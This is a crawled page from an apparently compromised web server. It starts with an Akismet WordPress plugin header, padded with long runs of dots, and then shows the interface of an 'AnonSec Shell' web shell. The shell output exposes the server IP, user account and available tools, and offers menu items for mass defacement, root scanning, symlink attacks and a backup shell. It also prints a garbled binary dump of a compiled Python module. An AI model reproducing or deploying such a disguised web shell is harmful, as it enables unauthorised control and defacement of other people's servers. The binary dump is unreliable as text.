#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/rct/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/rct/manifest_commands.pyo
�
L��ec@`s+ddlmZmZmZddlZddlZddlZddlmZddl	m
Z
mZddlm
Z
ddlmZddlmZddlmZdd	lmZdd
lmZd�Zde
fd
��YZdefd��YZdefd��YZdefd��YZdS(i(tprint_functiontdivisiontabsolute_importN(tBytesIO(tZipFilet
BadZipfile(tcertificate(t
RCTCliCommand(txstr(tInvalidCLIOptionError(tourjson(tugettextcC`sA|}x4|jd�D]#}||kr5||}qdSqW|S(Nt.t(tsplit(t	json_dicttpathtcurrenttitem((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt	get_value"s
t
ZipExtractAllcB`sbeZdZd	Zd�Zd�Zed�Zd�Z	d�Z
d�Zd�Zed�Z
RS(
s�extend ZipFile with a safer extractall

    Zipfile() does not support extractall on python2.4, and the 2.6 versions
    are known to be unsafe in how they extract files. 2.6 version does not
    validate that files are within the archive root, or check that files are
    created safely.

    Contains helper methods for manipulating and reading
    the zipfile more easily in memorycO`sLytj|||�Wn.tk
rGttd��tjd�nXdS(s(
        Validates the zip file
        sManifest zip is invalid.iN(Rt__init__Rtprintt_tsystexit(tselftargstkwargs((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR:s

cC`sC|jdkr<t|jtj��}t|d�|_n|jS(Ntr(t	inner_ziptNoneRtreadtRCTManifestCommandt
INNER_FILER(Rtoutput((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_get_inner_zipDscC`s�y/t|j|��}|j�}|j�Wnftk
r�y+|rQt�n|j�j|t�}Wq�tk
r�tt	d�|��q�XnX|S(Ns%Unable to find file "%s" in manifest.(
RR tgetvaluetclosetKeyErrorR$t
_read_filetTruet	ExceptionR(Rt	file_pathtis_innerR#tresult((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR(Js
	
cC`s�g}|j�}xi|j�D][}tjj|�\}}|tjjdd�krt|�dkr|j|�qqW|S(Ntexporttentitlementsi(R$tnamelisttosRRtjointlentappend(Rtresultstin_ziptfilenamet	read_patht	read_file((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_get_entitlementsXs-cC`s-tjtj|tjtjBtjB�d�S(Ntwb(R1tfdopentopentO_RDWRtO_CREATtO_EXCL(RR((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt
_open_exclascC`s3|j|�}|j|j|��|j�dS(N(RAtwriteR R&(Rtoutput_pathtarchive_pathtoutfile((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_write_filedscC`s�tjj|�}tjj|�}|j|�sHttd���ntjj|�}||kry|j||�n'tjj|�r�ttd���ndS(Ns@Manifest zip attempted to extract outside of the base directory.s:Unable to trace symbolic link.  Possibly circular linkage.(	R1Rtabspatht
startswithR*Rtrealpatht
_is_securetislink(Rtbasetnew_filet	base_pathtnew_patht
real_new_path((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyRJiscC`s�|j||�x�|j�D]�}tjj|�\}}tjj||�}|j||�tjj|�s�tj|�ntjj||�}|j||�tjj|�r�|r�tj|�n|j	||�qWdS(N(
RJR0R1RRR2texiststmakedirstremoveRF(Rtlocationt	overwritet	path_namet	directoryR7tnew_location((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt
extractallusN(t__name__t
__module__t__doc__RRRR$tFalseR(R:RARFRJRY(((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR-s		
						R!cB`sAeZdZddded�Zd�Zd�Zed�ZRS(sconsumer_export.ziptclic
C`s)tj|d|d|d|d|�dS(Ntnametaliasest	shortdesctprimary(RR(RR_R`RaRb((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR�scC`std�|jS(Ns!%%prog %s [OPTIONS] MANIFEST_FILE(RR_(R((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt
_get_usage�scC`sR|j�}|s'ttd���ntjj|�sNttd���ndS(Ns!You must specify a manifest file.s+The specified manifest file does not exist.(t_get_file_from_argsR	RR1Rtisfile(Rt
manifest_file((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_validate_options�s
cC`st|j�d�}|j||�|rFtjj||j�}n	|j}t|d�}|j||�tj|�dS(NR(RRdRYR1RR2R"RS(RRTRUtarchivet
inner_file((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_extract_manifest�s	N(	RZR[R"RR]RRcRgRj(((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR!�s
		tCatManifestCommandcB`sMeZd�Zded�Zd�Zd�Zd�Zd�Zd�Z	RS(c
C`sZtj|ddddgdtd�dt�|jjdd	d
dtdtd
��dS(NR_scat-manifestR`tcmRasPrint manifest informationRbs--no-contenttactiont
store_truetdefaultthelpsskip printing Content Sets(R!RRR)tparsert
add_optionR](R((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR�sicC`s�d|d}t||�|d7}x`|D]X}t|�dkrmtd||dt|d�f�q-td||df�q-W|r�td�ndS(Ns	iis%s%s: %sis%s%sR
(RR3R(Rttitletitemstindentt
whitespacetpadR((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_print_section�s

(cC`s�|jtjjdd��}tj|�}g}|jtd�t|d�f�|jtd�t|d�f�|jtd�t|d�f�|jtd	�t|d
�f�|j	td�|�dS(NR.s	meta.jsontServertwebAppPrefixsServer VersiontversionsDate CreatedtcreatedtCreatort
principalNamesGeneral:(
R(R1RR2tjsontloadsR4RRRx(Rtzip_archivetparttdatatto_print((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_print_general�s""""cC`s;|jtjjdd��}tj|�}g}|jtd�t|d�f�|jtd�t|d�f�d}d|kr�|dd	kr�d
}n|jtd�|f�|jtd�t|d
�f�|jtd�t|d�f�|jtd�t|d�f�|j	td�|�dS(NR.s
consumer.jsontNameR_tUUIDtuuidtentitlementtcontentAccessModetorg_environmentsSimple Content AccesssContent Access ModetTypes
type.labelsAPI URLturlApisWeb URLturlWebs	Consumer:(
R(R1RR2RR�R4RRRx(RR�R�R�R�R�((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_print_consumer�s""	"""cC`sBd}x5t|d�D]$}|d|kr|d}PqqW|S(Nspool.productAttributesR_tvalue(RR(RR_R�treturn_valuetattr((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_get_product_attribute�s
cC`s�|j�}t|�dkrD|jtd�dggdt�dSxc|D][}|j|�}tj|�}g}|jtd�t	|d�f�|jtd�t	|d�f�|jtd	�t	|d
�f�|jtd�t	|d�f�|jtd
�t	|d�f�|jtd�|j
d|�f�|jtd�|j
d|�f�|jtd�|j
d|�f�|jtd�t	|d�f�|jtd�t	|d�f�|jtd�t	|d�f�|jtd�t	|d�f�|j
d|�}|jtd�|f�t}|rVt}n|jtd�|f�tj
jd d!d"|d#�}	|jtd$�|	f�|d%dd&d#}
tj
jd d'd(|
�}|jtd)�|f�y%tj|j|�jd*��}Wn5tjk
rO}
tjtd+�||
f��nX|jtd,�|jf�|jtd-�|dt�g|d.d/D] }t|d0�|d1f^q�}|jtd2�t|�d3t�d4|d.krIg|d.d4D] }t|d0�|d1f^q�}|jtd5�t|�d3t�n|jjs�g|jD]}|jg^q_}|jtd6�t|�d3t�qKtd7�qKWdS(8NisSubscriptions:RiR�spool.productNametQuantitytquantitytCreatedR|s
Start Datet	startDatesEnd DatetendDates
Service Levelt
support_levelsService Typetsupport_typet
ArchitecturestarchtSKUspool.productIdtContractspool.contractNumbertOrderspool.orderNumbertAccountspool.accountNumbert
virt_limits
Virt LimitsRequires Virt-whoR.R/s%s.jsontidsEntitlement Filetcertificatestserialtentitlement_certificatess%s.pemsCertificate Filesutf-8s(Unable to read certificate file '%s': %ssCertificate Versions
Subscription:tpooltprovidedProductst	productIdtproductNamesProvided Products:itderivedProvidedProductssDerived Products:s
Content Sets:R
(R:R3RxRR)R(RR�R4RR�R]R1RR2Rtcreate_from_pemtdecodetCertificateExceptionR{tinttsortedtoptionst
no_contenttcontentturlR(RR�R/tent_fileR�R�R�R�trequire_virt_whotentitlement_fileR�t	cert_filetcerttcetppR((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_print_products�s`"
"""""%%%""""	 %5"5%"%cC`sdt|j�d�}td�ttd��td�|j|�|j|�|j|�dS(s:
        Does the work that this command intends.
        Rs.
+-------------------------------------------+s		Manifests.+-------------------------------------------+
N(RRdRRR�R�R�(Rttemp((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_do_command%s



(
RZR[RR)RxR�R�R�R�R�(((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyRk�s	
					@tDumpManifestCommandcB`s#eZd�Zd�Zd�ZRS(cC`s�tj|ddddgdtd�dt�|jjdd	d
dtd��|jjd
dddd	ddtdtd��dS(NR_s
dump-manifestR`tdmRasDump the contents of a manifestRbs
--destinationtdesttdestinationRps$directory to extract the manifest tos-fs--forceRmRntoverwrite_filesRosoverwrite files which may exist(R!RRR)RqRrR](R((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR6s
cC`s�y|j||�Wnvtk
r�}|jtjkrRttd�|j�n6ttd��t|j�|jr�t|j�ntSXt	S(Ns7File "%s" exists. Use -f to force overwriting the file.sManifest could not be written:(
RjtEnvironmentErrorterrnotEEXISTRRR7tstrerrorR]R)(RR�RUte((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt_extractAs
	cC`s|jjrJ|j|jj|jj�r{ttd�|jj�q{n1|jtj�|jj�r{ttd��ndS(s:
        Does the work that this command intends.
        s0The manifest has been dumped to the %s directorys5The manifest has been dumped to the current directoryN(R�R�R�R�RRR1tgetcwd(R((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR�Rs
 (RZR[RR�R�(((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyR�4s		(t
__future__RRRR�R1RtsixRtzipfileRRtrhsmRtrct.commandsRtrct.printingRtsubscription_manager.cliR	R
Rtsubscription_manager.i18nRRRRR!RkR�(((s;/usr/lib64/python2.7/site-packages/rct/manifest_commands.pyt<module>s 	W%�

Anon7 - 2022
AnonSec Team